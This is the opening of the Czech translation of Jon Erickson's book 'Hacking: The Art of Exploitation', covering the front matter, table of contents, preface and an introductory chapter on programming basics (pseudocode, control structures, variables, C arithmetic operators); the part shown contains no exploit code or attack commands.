E N C Y K L O P E D I E
Z O N E R
P R E S S
D R U H É, U P R A V E N É A D O P L N Ě N É V Y D Á N Í
HACKING © Foto: Jiří Heller
u m ění exploitace
J o n
E R I C K S O N
Pochvalná vyjádření k prvnímu vydání Hacking – umění exploitace „Nejkompletnější výuka hackerských technik. Konečně kniha, která jen nepředvádí, jak využívat exploity, ale také ukazuje, jak je vyvíjet.“ – PHRACK „Ze všech knih, co jsem doposud četl, tuto považuji za vynikající hackerskou příručku.“ – SECURITY FORUMS „Tuto knihu doporučuji už jen kvůli její programovací sekci.“ – UNIX REVIEW „Vřele tuto knihu doporučuji. Napsal ji člověk, který ví, co čem mluví, navíc s použitelným kódem, nástroji a příklady.“ – IEEE CIPHER „Ericksonova kniha, hutný a seriózní průvodce pro začínající hackery, je naplněna až po okraj nejenom kódem a hackerskými technikami ze skutečného světa, ale také vysvětleními, jak fungují.“ – COMPUTER POWER USER (CPU) MAGAZINE „Tohle je vynikající kniha. Ti, kdo se právě chystají přejít na další úroveň, měli by si ji opatřit a pečlivě pročíst.“ – ABOUT.COM INTERNET/NETWORK SECURITY
Hacking umění exploitace Druhé, upravené a doplněné vydání
Jon Erickson
HACKING: THE ART OF EXPLOITATION, 2ND EDITION Jon Erickson Copyright © 2008 by Jon Erickson. Title of English-language original: Hacking: The Art of Exploitation, 2nd Edition, ISBN 978-1-59327-144-2 published by No Starch Press. Czech-language edition copyright © 2009 by ZONER software s.r.o. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from No Starch Press. Copyright © 2008 Jon Erickson. Název originálního anglického vydání: Hacking: The Art of Exploitation, 2nd Edition, ISBN 978-1-59327-144-2, vydal No Starch Press. České vydání copyright © 2009 ZONER software s.r.o. Všechna práva vyhrazena. Žádná část této publikace nesmí být reprodukována nebo předávána žádnou formou nebo způsobem, elektronicky ani mechanicky, včetně fotokopií, natáčení ani žádnými jinými systémy pro ukládání bez výslovného svolení No Starch Press.
Hacking – umění exploitace Autor: Jon Erickson Copyright © ZONER software, s.r.o. Druhé, upravené a doplněné vydání v roce 2009. Všechna práva vyhrazena. Zoner Press Katalogové číslo: ZR803 ZONER software, s.r.o. Nové sady 18, 602 00 Brno Překlad: RNDr. Jan Pokorný Odpovědný redaktor: Miroslav Kučera Odborná korektura: Miroslav Kučera Šéfredaktor: Ing. Pavel Kristián DTP: Miroslav Kučera Obraz bootovatelného LiveCD ke stažení: http://zonerpress.cz/download/hacking.zip (750 MB)
Informace, které jsou v této knize zveřejněny, mohou byt chráněny jako patent. Jména produktů byla uvedena bez záruky jejich volného použití. Při tvorbě textů a vyobrazení bylo sice postupováno s maximální péčí, ale přesto nelze zcela vyloučit možnost výskytu chyb. Vydavatelé a autoři nepřebírají právní odpovědnost ani žádnou jinou záruku za použití chybných údajů a z toho vyplývajících důsledků. Všechna práva vyhrazena. Žádná část této publikace nesmí být reprodukována ani distribuována žádným způsobem ani prostředkem, ani reprodukována v databázi či na jiném záznamovém prostředku či v jiném systému bez výslovného svolení vydavatele, s výjimkou zveřejnění krátkých částí textu pro potřeby recenzí. Veškeré dotazy týkající se distribuce směřujte na: Zoner Press ZONER software, s.r.o. Nové sady 18, 602 00 Brno tel.: 532 190 883, fax: 543 257 245 e-mail: knihy@zoner.cz http://www.zonerpress.cz
ISBN 978-80-7413-022-9
5
Obsah Předmluva
11
Poděkování
11
Kapitola 0x100 0x110
Úvod
Obraz LiveCD ke stažení
Kapitola 0x200
Programování
13 16
17
0x210
Co je programování?
18
0x220
Pseudokód
19
0x230
Řídicí struktury
19
0x231
If-Then-Else
19
0x232
Cykly While/Until
21
0x233
Cykly For
22
0x240
0x250
0x260
0x270
Další základní programovací pojmy
23
0x241
Proměnné
23
0x242
Aritmetické operátory
24
0x243
Porovnávací operátory
26
0x244
Funkce
28
Nejvyšší čas zkusit něco prakticky
31
0x251
Blíž k celkovému obrazu
32
0x252
Procesory architektury x86
36
0x253
Assembler
37
Zpět k základům
51
0x261
Řetězce
51
0x262
Signed, unsigned, long a short
55
0x263
Ukazatele
57
0x264
Formátovací řetězce
62
0x265
Přetypování
65
0x266
Argumenty příkazového řádku
73
0x267
Obor proměnných
77
Segmentace paměti
85
0x271
Paměťové segmenty v C
93
0x272
Jak se pracuje s haldou
95
0x273
Funkce malloc() s kontrolou, zdali se alokace podařila
98
6 0x280
Stavění na solidních základech
100
0x281
Přístup k souboru
100
0x282
Souborová oprávnění
106
0x283
Uživatelská ID
108
0x284
Struktury
117
0x285
Ukazatele funkce
121
0x286
Pseudonáhodná čísla
122
0x287
Sada hazardních her
124
Kapitola 0x300
Exploitace
141
0x310
Všeobecné exploitační techniky
144
0x320
Přetečení paměti
144
0x321
148
0x330 0x340
0x350
Zranitelnosti způsobené přetečením bufferu založeného na zásobníku
Experimenty s BASH
161
0x331
172
Používání proměnných prostředí
Přetečení v jiných segmentech
181
0x341
Základní přetečení založené na haldě
181
0x342
Přetečení ukazatelů na funkce
187
Formátovací řetězce
201
0x351
Formátovací parametry
202
0x352
Zranitelnost spojená s formátovacím řetězcem
204
0x353
Čtení z libovolné adresy paměti
207
0x354
Zápis na libovolnou adresu paměti
208
0x355
Přímý přístup k parametru
216
0x356
Zápisy dvoubajtových slov
218
0x357
Odbočka s .dtors
220
0x358
Další zranitelnost programu notesearch
226
0x359
Přepisování tabulky globálních offsetů
228
Kapitola 0x400
Sítě
0x410
Model OSI
0x420
Sockety 235
233 233
0x421
Socketové funkce
236
0x422
Socketové adresy
238
0x423
Síťové pořadí bajtů
240
0x424
Konverze internetové adresy
240
7
0x430
0x440
0x450
0x460
0x470
0x480
0x425
Ukázka jednoduchého serveru
241
0x426
Ukázka webového klienta
245
0x427
Maličký webový server
251
Loupání slupek nižších vrstev
256
0x431
Spojová vrstva
257
0x432
Síťová vrstva
258
0x433
Transportní vrstva
261
Odposlouchávání provozu na síti (network sniffing)
264
0x441
Odposlouchávání nezpracovaných socketů
266
0x442
Odposlouchávací knihovna libpcap
268
0x443
Dekódování vrstev
270
0x444
Aktivní odposlouchávání
281
Odmítnutí služby
295
0x451
Zahlcení podvrženými SYN pakety
296
0x452
Ping smrti
301
0x453
Slza
301
0x454
Zahlcení přes ping
301
0x455
Zesilující se útoky
302
0x456
Útok DDoS
302
Únos TCP/IP
303
0x461
Únos RST
304
0x462
Pokračování únosu
309
Skenování portů
310
0x471
Tajné skenování SYN
310
0x472
Skenování FIN, X-mas a Null
310
0x473
Podvržené návnady
311
0x474
Nečinné skenování
311
0x475
Aktivnější obrana
313
K lidu blíž – někoho hackneme
320
0x481
Analýza s GDB
321
0x482
Téměř vždy počítejte s ručními granáty
323
0x483
Shellkód, který se navazuje na port
326
Kapitola 0x500 0x510
Shellkód
331
Assembler versus C
331
0x511
334
Linuxová systémová volání v assembleru
8 0x520
0x530
0x540
0x550
Cesta k shellkódu
337
0x521
Assemblerové instrukce používající zásobník
337
0x522
Vyšetřování s GDB
340
0x523
Odstranění bajtů null
341
Shellkód, který zplodí shell
347
0x531
Otázka oprávnění
351
0x532
Ještě menší shellkód
354
Shellkód, který se navazuje na port
356
0x541
Duplikace standardních souborových deskriptorů
361
0x542
Řídicí struktury pro větvení
363
Shellkód připojující se zpět
Kapitola 0x600
Protiopatření
368
375
0x610
Detekující protiopatření
376
0x620
Systémoví démoni
376
0x621
Signály letem-světem
378
0x622
Démon tinyweb
381
Nástroje našeho řemesla
386
0x631
386
0x630 0x640 0x650
0x660
0x670 0x680
Nástroj pro exploitaci tinywebd
Protokolovací soubory
392
0x641
392
Jak splynout s davem
Přehlížení očividného
394
0x651
Krok za krokem
395
0x652
A dejme zase všechno dohromady
400
0x653
Dceřiní nádeníci
406
Pokročilá kamufláž
408
0x661
Podvržení přihlášené IP adresy
409
0x662
Nezaprotokolovaná exploitace
414
Kompletní infrastruktura
417
0x671
417
Opětovné použití socketu
Propašování nálože
422
0x681
Zašifrování řetězců
422
0x682
Jak skrýt sled
426
0x690
Restriktivní opatření na buffer
427
0x691
430
0x6a0
Vylepšená protiopatření
Polymorfní tisknutelný ASCII shellkód
442
9 0x6b0
0x6c0
Nespustitelný zásobník
442
0x6b1
ret2libc
442
0x6b2
Návrat do system()
443
Náhodné rozvržení paměti zásobníku
445
0x6c1
Výzkumy s BASH a GDB
447
0x6c2
Odskakování od linux-gate
451
0x6c3
Umění aplikovat získané znalosti v praxi
455
0x6c4
První pokus
456
0x6c5
Pohrajeme si s šancemi
458
Kapitola 0x700 0x710
0x720 0x730 0x740
0x750
0x760
0x770
0x780
Kryptologie
461
Teorie informace
462
0x711
Nepodmíněná bezpečnost
462
0x712
Jednorázové zašifrování
462
0x713
Distribuce kvantového klíče
463
0x714
Výpočetní bezpečnost
464
Doba běhu algoritmu
464
0x721
465
Asymptotická notace
Symetrické šifrování
466
0x731
467
Lov Groverův kvantový vyhledávací algoritmus
Asymetrické šifrování
468
0x741
RSA
468
0x742
Kvantový faktorizační algoritmus Petera Shora
472
Hybridní šifry
473
0x751
Útoky typu "Muž uprostřed"
473
0x752
Rozdíly v otiscích prstů hostitele protokolu SSH
478
0x753
Fuzzy otisky prstů
482
Prolamování hesel
487
0x761
Slovníkové útoky
489
0x762
Vyčerpávající útok hrubou silou
492
0x763
Vyhledávací tabulka hašů
493
0x764
Pravděpodobnostní matice hesla
494
Bezdrátové šifrování 802.11b
506
0x771
Šifrovací metoda WEP (Wired Equivalent Privacy)
506
0x772
Proudová šifra RC4
Útoky na WEP
508 508
10 0x781
Offline útoky hrubou silou
509
0x782
Opětovné použití stejného proudového klíče
509
0x783
Dešifrovací slovníkové tabulky založené na inicializačním vektoru
510
0x784
Přesměrování IP adresy
511
0x785
Útoky typu Fluhrer, Mantin a Shamir (FMS)
512
Kapitola 0x800
Shrnutí
523
0x810
Seznam zdrojů
524
0x820
Užitečné nástroje
525
Rejstřík
527
11
Předmluva Cílem této knihy je podělit se s vámi všemi o umění hackingu. Často není snadné pochopit techniky hackingu, protože k tomu potřebujete poměrně mnoho důkladně zvládnutých vědomostí. Mnohé texty o hackingu se vám mohou zdát jako nesrozumitelné a matoucí, protože bez jistých předběžných znalostí se nelze obejít a vy v tomto druhu vzdělání jednoduše máte několik mezer. Druhé vydání knihy Hacking – umění exploitace by vám mělo zpřístupnit svět hackingu, protože o něm dostanete kompletní informace. Od programování přes strojový kód až k exploitaci. K tomuto vydání si navíc můžete stáhnout obraz bootovacího CD (z http://zonerpress.cz/download/hacking.zip), který v sobě obsahuje upravenou linuxovou distribuci Ubuntu. Jakmile tento obraz stáhnete, rozbalíte a vypálíte na CD/DVD médium, můžete ho použít na jakémkoliv počítači s procesorem x86 bez toho, aby došlo k poškození stávajícího operačního systému vašeho počítače. Obsahuje veškerý zdrojový kód z knihy a poskytuje jak vývojové, tak i exploitační prostředí, v němž můžete při četbě souběžně zkoušet všechny příklady uvedené v knize a provádět své vlastní experimenty.
Poděkování Mé vřelé díky si zaslouží Bill Pollock a všichni ostatní ve vydavatelství No Starch Press, že konali tak, aby tato kniha mohla spatřit světlo světa, a že jsem mohl kreativně ovlivňovat všechny fáze procesu jejího vzniku. Dále bych rád poděkoval svým přátelům, Sethu Bensonovi a Aaronu Adamsovi, za korektury a úpravy, Jacku Mathesonnovi, že mi vypomohl s assemblerem, Dr. Seidelovi, že udržel můj zájem o počítačovou vědu, rodičům, že mi koupili první Commodore VIC-20, a komunitě hackerů, jejichž inovace a kreativita vytvořila techniky vysvětlované v této knize.
12
0x200 PROGRAMOVÁNÍ
Hacker je termín, kterým se označují nejenom ti, kdo píší kód, ale také ti, kdo kód exploitují. I když mají obě skupiny hackerů různé finální cíle, používají při řešení úloh podobné techniky. Protože těm, kdo exploitují, pomáhá, když umějí programovat, a naopak vědomosti o tom, jak se exploituje, pomáhají těm, kdo programují, dělají mnozí hackeři obojí. Zajímavé hackerské postupy najdete jak v technikách, které se používají proto, aby vznikl elegantní kód, tak i v technikách, jež se používají za účelem exploitace programů. Hacking opravdu znamená jen akt nalezení chytrého a překvapivého řešení dané úlohy. Hacky, které najdete v exploitačních programech (říká se jim exploity), obvykle využívají počítačová pravidla (postupy, příkazy atd.) nevšedním způsobem, aby se obešla bezpečnostní opatření tak, jak to zatím nikoho ani nenapadlo. Programovací hacky jsou podobné v tom smyslu, že také využívají počítačová pravidla nově a vynalézavě, ale jejich konečným cílem je efektivnější nebo kratší zdrojový kód, nemusí se nutně jednat o narušení bezpečnosti. Programů, které řeší zadanou úlohu, se dá napsat nekonečně mnoho, ale většina z těchto řešení je zbytečně velkých, příliš složitých a ledabylých. Těch pár řešení, co zbudou, jsou kompaktní, efektivní a úhledná. Programy, které mají tyto kvality, jsou elegantní. Chytrým a vynalézavým řešením, která vedou k této efektivitě, se říká hacky. Hackeři obou skupin oceňují krásu elegantního kódu i důvtipnost chytrých hacků. Ve světě byznysu se víc důrazu klade na to, aby se co nejdříve vychrlil kód, který funguje, než aby obsahoval chytré algoritmy a byl elegantní. Vzhledem k nesmírnému exponenciálnímu růstu výpočetní síly a paměti nemá, z hlediska byznysu, u moderních počítačů se zpracovatelskými cykly v gigahertzech a pamětí v gigabajtech valný smysl strávit pět hodin navíc jen proto, aby se vytvořil úsek kódu, který bude o něco málo rychlejší a efektivnější (co do využití paměti). I když optimalizaci doby trvání a využití paměti ponechá bez povšimnutí valná většina uživatelů kromě těch nejnáročnějších, je to charakteristika, kterou by šlo zpeněžit. Pokud jsou ale na prvním místě okamžité finanční výnosy, trávit čas tvorbou rafinovaných postupů se prostě nevyplatí. Opravdové zhodnocení programovací elegance je tedy na hackerech: na počítačových nadšencích, jejichž konečným cílem není zisk, ale vymačkat až do mrtě ze svého starého Commodore 64 každý bit funkcionality; na autorech programů zvaných exploity, což jsou drobounké a okouzlující
18
0x200 – Programování
fragmenty kódu, jimiž se dá proklouznout úzkými skulinami v zabezpečení, a na všech ostatních, kdo dokáží ocenit honbu za dokonalostí, kdo se stavějí čelem výzvě najít nejlepší možné řešení. To jsou lidé, které programování vzrušuje. Ti dokáží patřičně ohodnotit krásu elegantního fragmentu kódu nebo důvtipnost důmyslného postupu. Abyste ale pochopili, jak se dají programy exploitovat, musíte nejprve dobře rozumět programování – toto je naprosto nezbytná podmínka. Proto je přirozené, že prvním předmětem našeho výkladu bude programování.
0x210 Co je programování? Programování je velmi přirozený a intuitivní pojem. Program není nic víc než posloupnost příkazů napsaných v nějakém konkrétním jazyku. Programy jsou všude okolo nás – dokonce i ti, kdo mají panickou hrůzu z technologií, používají programy každý den. Itineráře pro jízdu autem, kuchařské recepty, fotbalové zápasy, DNA, to všechno jsou různé typy programů. Typický itinerář pro jízdu autem může vypadat například takto: Jeďte východním směrem po Main Street. Pokračujte po Main Street, dokud neuvidíte napravo kostel. Jestliže je ulice zavřená kvůli opravám, zde zabočte doprava na 15th Street, zabočte doleva na Pine Street, a pak doprava na 16th Street. Jinak prostě jeďte dál a zabočte doprava na 16th Street. Pokračujte po 16th Street a zabočte doleva na Destination Road. Jeďte rovně 5 mil po Destination Road, pak uvidíte napravo dům. Adresa je 743 Destination Road.
Kdo umí česky, tyto pokyny pochopí, a protože jsou napsány v češtině, bude se jimi při jízdě řídit. Jistě – není to žádná krásná literatura, ale každý z pokynů je jasný a snadno srozumitelný, přinejmenším pro ty, kdo umějí alespoň trochu česky. Počítače ale žádnému lidskému jazyku nerozumějí, ani angličtině, natož češtině; rozumějí jen strojovému kódu. Chcete-li dát počítači pokyny, aby něco udělal, musejí být tyto pokyny, neboli instrukce, napsány v jeho jazyku. Strojový kód je ovšem tajemný a pracuje se s ním obtížně – skládá se z nijak nezpracovaných bitů a bajtů, a na každé architektuře je jiný. Pokud byste chtěli napsat program ve strojovém kódu pro procesor Intel x86, museli byste si zjistit hodnoty sdružené s jednotlivými instrukcemi, vypátrat jak spolu instrukce komunikují, a zvládnout myriády dalších nízkoúrovňových podrobností. Programování tohoto druhu je pracné a rozhodně neintuitivní. Abychom překonali komplikace spojené s psaním ve strojovém kódu, potřebujeme překladač. Jednou z forem překladače strojového jazyka je assembler – to je program, který překládá kód assembleru do kódu, jenž bude stroj schopen přečíst. Assembler je méně záhadný než strojový kód, protože používá pro instrukce slovní názvy a proměnné, nikoliv pouhá čísla. Přesto je i assembler na hony vzdálen intuitivnímu jazyku. Názvy instrukcí jsou srozumitelné jen zasvěceným, přičemž jazyk je pro každou architekturu jiný. Právě tak, jako je strojový kód pro procesor Intel x86 jiný než strojový kód pro procesory Sparc, je i assembler určený pro x86 odlišný od assembleru pro Sparc. Program napsaný v assembleru pro architekturu jednoho procesoru nebude fungovat na
Hacking – umění exploitace
19
architektuře jiného procesoru. Je-li program napsaný v assembleru pro x86, musí se přepsat, má-li běžet na architektuře Sparc. A navíc – abyste mohli psát efektivní programy v assembleru, musíte rovněž znát řadu nízkoúrovňových detailů o architektuře procesoru, pro který píšete. Uvedené potíže se dají zmírnit další formou překladače, kterému se říká kompilátor. Kompilátor převádí jazyk vysoké úrovně do strojového kódu. Vysokoúrovňové jazyky jsou mnohem intuitivnější než assembler (jsou obvykle založené na slovech a frázích z angličtiny) a dají se konvertovat do mnoha různých typů strojového kódu, tj. pro různé procesorové architektury. To znamená, že je-li program napsaný v nějakém vysokoúrovňovém jazyku, stačí ho napsat jednou; stejný programový kód se dá zkompilovat do strojového kódu různých konkrétních architektur. Mezi vysokoúrovňové jazyky patří například C, C++ či Fortran. Ačkoliv program napsaný ve vysokoúrovňovém jazyku se mnohem snadněji čte a více se podobá angličtině než assembler nebo strojový kód, přesto se musejí dodržovat velmi striktní pravidla pro zápis jednotlivých instrukcí. V opačném případě kompilátor nebude schopen pochopit takový kód.
0x220 Pseudokód Programátoři využívají ještě jednu formu programovacího jazyka, které se říká pseudokód. Pseudokód je jednoduchá řeč, která je uspořádána do obecné struktury podobající se nějakému vysokoúrovňovému jazyku. (Teoreticky se dá pseudokód psát v jakékoliv mluvené řeči, nicméně angličtina je nejvýhodnější, protože v ní se pseudokód nejvíc podobá skutečnému kódu, který na jeho základě vznikne.) Ačkoliv kompilátory, assemblery a počítače pseudokódu nerozumějí, je to velmi šikovný způsob zápisu, jímž si programátor může uspořádávat své instrukce. Pseudokód není konkrétně definovaný – každý programátor píše pseudokód trochu jinak. Je to jistý mlhavý druh chybějícího propojení mezi mluvenou řečí (obvykle angličtinou) a vysokoúrovňovými jazyky, jako je C. Pseudokód ovšem může posloužit jako skvělý úvodní nástroj pro vysvětlení běžných univerzálních programovacích pojmů.
0x230 Řídicí struktury Bez řídicích struktur by byl program jen pouhou sérií instrukcí, které se vykonávají sekvenčně (jedna za druhou). U velmi jednoduchých programů to stačí, ale většina programů, včetně našeho itineráře s pokyny k jízdě, tak jednoduchá není. Mezi pokyny k jízdě najdeme příkazy jako Jeďte po Main Street, dokud neuvidíte napravo kostel a Jestliže je ulice zavřená kvůli opravám... Tyto příkazy patří mezi řídicí struktury, protože mění tok vykonávání programu z jednoduchého sekvenčního zpracování (jedna instrukce za druhou) na složitější a užitečnější tok.
0x231
If-Then-Else
V našich pokynech k jízdě je zmíněno, že Main Street může být zavřená, protože se opravuje. Pokud tomu tak je, měla by se s takovou situací vypořádat speciální sada instrukcí, jinak se bude
20
0x200 – Programování
v programu postupovat dál podle původní sady instrukcí. S těmito speciálními případy se dá v programu vypořádat pomocí jedné z nejpřirozenějších řídicích struktur: strukturou if-then-else (jestliže-pak-jinak). Všeobecně to vypadá nějak takhle: If (podmínka) then { Sada instrukcí, která se má vykonat, když podmínka platí; } Else { Sada instrukcí, která se má vykonat, když podmínka neplatí; }
V této knize budeme občas používat pseudokód podobající se jazyku C, takže každá instrukce bude končit středníkem, sady instrukcí budou obklopeny složenými závorkami a budou odsazené. Struktura if-then-else předchozích pokynů k jízdě může v pseudokódu vypadat takto: Jeďte po Main Street; If (ulice je zavřená kvůli opravám) { Zabočte doprava na 15th Street; Zabočte doleva na Pine Street; Zabočte doprava na 16th Street; } Else { Zabočte doprava na 16th Street; }
Povšimněte si, že každá instrukce je na samostatném řádku, a že jednotlivé sady podmínkových instrukcí jsou obklopeny složenými závorkami (a že jsou rovněž odsazeny, aby se text lépe četl). V C a v mnohých dalších programovacích jazycích se klíčové slovo then předpokládá implicitně, takže se nemusí uvádět – v předchozím pseudokódu jsme ho vynechali. V jiných jazycích může být samozřejmě stanoveno, že klíčové slovo then je v syntaxi povinné – sem patří nejenom BASIC a Fortran, ale také Pascal. Tyto druhy syntaktických odlišností v jednotlivých programovacích jazycích jsou pouze drobné detaily; podkladová struktura je stále stejná. Jakmile programátor pochopí pojmy, které se jazyky snaží vyjádřit, zvládne hravě různé variace syntaxe. Protože v následujících sekcích budeme pracovat s jazykem C, budeme v této knize používat pseudokód, jehož syntaxe se bude podobat syntaxi jazyka C. Uvědomte si ovšem, že pseudokód může mít různé, někdy i dost odlišné formy. Další běžné pravidlo syntaxe à la C říká, že pokud sada instrukcí uzavřených ve složených závorkách obsahuje pouze jedinou instrukci, nejsou složené závorky povinné. Kvůli lepší čitelnosti a jasnosti úmyslů je ovšem vhodné takové instrukce odsazovat (z hlediska syntaxe to povinné není).
Hacking – umění exploitace
21
Výše uvedené pokyny k jízdě lze s využitím tohoto pravidla přepsat následovně (stále ovšem máme ekvivalentní fragment pseudokódu): Jeďte po Main Street; If (ulice je zavřená kvůli opravám) { Zabočte doprava na 15th Street; Zabočte doleva na Pine Street; Zabočte doprava na 16th Street; } Else Zabočte doprava na 16th Street;
Toto pravidlo o sadách instrukcí platí pro všechny řídicí struktury zmiňované v této knize. Toto pravidlo samotné je rovněž možné popsat prostřednictvím pseudokódu: If (v sadě instrukcí je jen jediná instrukce) Složené závorky vymezující skupinu instrukcí nejsou povinné; Else { Složené závorky vymezující skupinu instrukcí jsou povinné; Musíme mít k dispozici nějaký způsob, jak tyto instrukce logicky seskupit; }
I samotný popis syntaxe se dá považovat za jednoduchý program. Existují různé varianty if-then-else, jako je například příkaz select/case. Logika je v zásadě pořád stejná – jestliže podmínka platí, udělej tyto věci, jinak udělej tamty jiné věci (mezi ně mohou patřit i další příkazy if-then).
0x232
Cykly While/Until
Dalším elementárním programovacím pojmem je řídicí struktura while, což je druh cyklu. Programátor si často přeje vykonat jistou sadu instrukcí víckrát za sebou, ne pouze jednou. Program může tento úkol splnit prostřednictvím cyklu, požaduje k tomu ovšem sadu podmínek, které mu řeknou, kdy má s cyklováním přestat, jinak by cykloval až do skonání věků. Cyklus while říká, aby se následná sada instrukcí cyklu vykonávala tak dlouho, dokud (while) platí podmínka cyklu. Jednoduchý program pro hladovou myš by mohl vypadat takto: While (máš hlad) { Najdi něco k snědku; Sněz to; }
22
0x200 – Programování
Sada dvou instrukcí za příkazem while se bude opakovat tak dlouho, dokud (while) bude mít myš hlad. Množství jídla, které myška v jednotlivých průchodech cyklem najde, může být různé, od nepatrného drobečku až k celému bochníku chleba. A obdobně – počet průchodů sadou instrukcí v cyklu while může být závislý na tom, kolik jídla myš vlastně najde. Jistou variantou cyklu while je cyklus until, což je syntaxe, která je k dispozici například v programovacím jazyku Perl (v C se tato syntaxe nepoužívá). Cyklus until je prostě cyklus while s invertovanou podmínkou cyklu. Tentýž program krmení myši vypadá s cyklem until takto: Until (nemáš hlad) { Najdi něco k snědku; Sněz to; }
Je jasné, že každý příkaz until se dá převést na cyklus while. Výše uvedené pokyny k jízdě obsahují příkaz Jeďte po Main Street, dokud neuvidíte napravo kostel. Toto se dá snadno změnit na standardní cyklus while, když prostě podmínku obrátíme na opačnou. While (napravo není kostel) Jeďte po Main Street;
0x233
Cykly For
Další řídicí konstrukcí cyklu je cyklus for. Obvykle se používá tehdy, když chce programátor provést konkrétní počet iterací. Pokyn k jízdě Jeďte přímo 5 mil po Destination Road se dá převést na cyklus for v tomto tvaru: For (5 iterací) Jeďte přímo 1 míli;
Ve skutečnosti je cyklus for vlastně cyklem while s čítačem (počitadlem průchodů). Stejný příkaz lze totiž zapsat i takto: Nastavit čítač na 0; While (hodnota čítače je menší než 5) { Jeďte přímo 1 míli; Přičíst 1 k čítači; }
V syntaxi pseudokódu podobném jazyku C je podstata cyklu for ještě zřejmější: For (i=0; i<5; i++) Jeďte přímo 1 míli;
Hacking – umění exploitace
23
V tomto případě se čítač jmenuje i a příkaz for je rozdělen do tří sekcí oddělených středníky. První sekce deklaruje čítač a nastavuje ho na počáteční hodnotu, v tomto případě na 0 (nulu). Druhá sekce je něco jako příkaz while využívající čítač: dokud (while) čítač splňuje uvedenou podmínku, pokračovat v cyklování. Třetí, poslední, sekce popisuje, jaká akce se má podniknout s čítačem při každé iteraci. V tomto případě je touto akcí i++, což je zkrácený zápis výroku "Přičti 1 k čítači i". S využitím všech dosud probraných řídicích struktur se pokyny k jízdě dají převést do pseudokódu ve stylu podobném jazyku C takto: Jeďte východním směrem po Main Street; While (napravo není kostel) Jeďte po Main Street; If (ulice je zavřená) { Zabočte doprava na 15th Street; Zabočte doleva na Pine Street; Zabočte doprava na 16th Street; } Else Zabočte doprava na 16th Street; For (i=0; i<5; i++) Jeďte přímo 1 míli; Zastavte na 743 Destination Road;
0x240 Další základní programovací pojmy V následujících sekcích probereme univerzálnější programovací pojmy, které se používají v mnohých programovacích jazycích (i když s jistými drobnými syntaktickými odlišnostmi). Poté, co tyto pojmy uvedu, je budu prostřednictvím syntaxe podobné jazyku C integrovat do příkladu pseudokódu. Na konci se bude tento pseudokód velmi podobat kódu C.
0x241
Proměnné
Čítač, který jsme použili v cyklu for, je ve skutečnosti jeden z typů proměnných. Proměnná se dá jednoduše chápat jako objekt obsahující data, která lze měnit – odtud ten název. Existují i proměnné, které se nemění, a trefně se jim říká konstanty. Vrátíme-li se k našemu příkladu s pokyny k jízdě, rychlost auta lze označit za proměnnou, zatímco barva auta je konstanta. Ačkoliv v pseudokódu jsou proměnné jednoduché abstraktní pojmy, v jazyce C (a v mnoha dalších) se proměnné musejí deklarovat a musí se jim přidělit typ. Teprve pak se mohou použít. Je tomu tak proto, že program C se bude nakonec kompilovat do spustitelného programu. Podobně jako u kuchařského receptu, v němž se seznam potřebných ingrediencí uvádí před pokyny, jak kuchtit, deklarace proměnné umožňují vykonat potřebné přípravné akce, než se pustíme do hlavní části programu. Nakonec se
24
0x200 – Programování
všechny proměnné uloží někde v paměti, přičemž jejich deklarace umožňují kompilátoru, aby si tuto paměť zorganizoval efektivněji. Ovšem na úplném konci, navzdory všem těm deklaracím typů proměnných, je všechno pouze paměť. V C dostane každá proměnná typ, který popisuje, jaké informace hodláte do této proměnné ukládat. Mezi nejběžnější typy patří int (celočíselné hodnoty), float (hodnoty s pohyblivou desetinnou čárkou) a char (hodnota obsahující jediný znak). Proměnné se deklarují velmi jednoduše – dané klíčové slovo se uvede před seznamem proměnných, jako to vidíte zde: int a, b; float k; char z;
Proměnné a a b jsou nyní definované jako celočíselné. Do k se dá uložit hodnota s desetinným místem (například hodnota 3.14). O proměnné z se předpokládá, že v ní bude uložený nějaký znak, jako například A nebo w. Hodnoty se dají proměnným přiřadit už při deklaraci, nebo kdykoliv později, prostřednictvím operátoru =. int a = 13, b; float k; char z = 'A'; k = 3.14; z = 'w'; b = a + 5;
Až se výše uvedené instrukce vykonají, bude proměnná a obsahovat hodnotu 13, k bude obsahovat číslo 3.14, z bude obsahovat znak w a b bude obsahovat hodnotu 18, protože 13 plus 5 se rovná 18. Stručně řečeno – proměnné jsou prostě jeden ze způsobů, jak se dají zapamatovat hodnoty; v jazyce C však musíte nejprve deklarovat typ každé proměnné.
0x242
Aritmetické operátory
Příkaz b = a + 7 je ukázka velmi jednoduchého aritmetického operátoru. V C se pro jednotlivé aritmetické operace používají symboly uvedené v následující tabulce. První čtyři operace v tabulce by měly být zřejmé. Ačkoliv modulo vám možná připadá jako nový pojem, jedná se pouze o zbytek po dělení. Má-li a hodnotu 13, pak 13 děleno 5 se rovná 2, zbytek je 3, což znamená, že a % 5 = 3. Dále, protože proměnné a i b jsou celá čísla (int), příkaz b = a / 5 vede na výsledek 2, který se uloží do b, protože je to celá část výsledku operace dělení. Chcete-li získat přesnější výsledek 2,6, musíte použít proměnné s pohyblivou čárku (float). Operace
Symbol
Ukázka
Sčítání
+
b = a + 5
Hacking – umění exploitace
Operace
Symbol
Ukázka
Odčítání
-
b = a – 5
Násobení
*
b = a * 5
Dělení
/
b = a / 5
Modulo
%
b = a % 5
25
Pokud chcete dostat tyto koncepty do programu, musíte mluvit jeho jazykem. Jazyk C dále poskytuje pro aritmetické operace několik zkrácených zápisů. Jeden z nich jsem už zmínil výše a běžně se používá v cyklech for. Výraz
Zkrácený zápis
Vysvětlení
i = i + 1
i++ nebo ++i
Přičte 1 k proměnné.
i = i - 1
i-- nebo --i
Odečte 1 od proměnné.
Tyto zkrácené zápisy se dají zkombinovat s ostatními aritmetickými operacemi, takže mohou vzniknout složitější výrazy. Zde pak lépe vynikne rozdíl mezi i++ a ++i. První výraz znamená zvýšit hodnotu i o 1 poté, co se vyhodnotí aritmetická operace, zatímco druhý znamená zvýšit hodnotu i o 1 předtím, než se vyhodnotí aritmetická operace. Podívejte se na tento příklad: int a, b; a = 5; b = a++ * 6;
Na konci této sady instrukcí bude b obsahovat 30 a a bude obsahovat 6, protože zkrácený zápis b = a++ * 6; je ekvivalentní těmto příkazům: b = a * 6; a = a + 1;
Pokud bychom ale použili instrukci b = ++a * 6;, pořadí operací sčítání se změní, což znamená, že tentokrát budou ekvivalentní tyto instrukce: a = a + 1; b = a * 6;
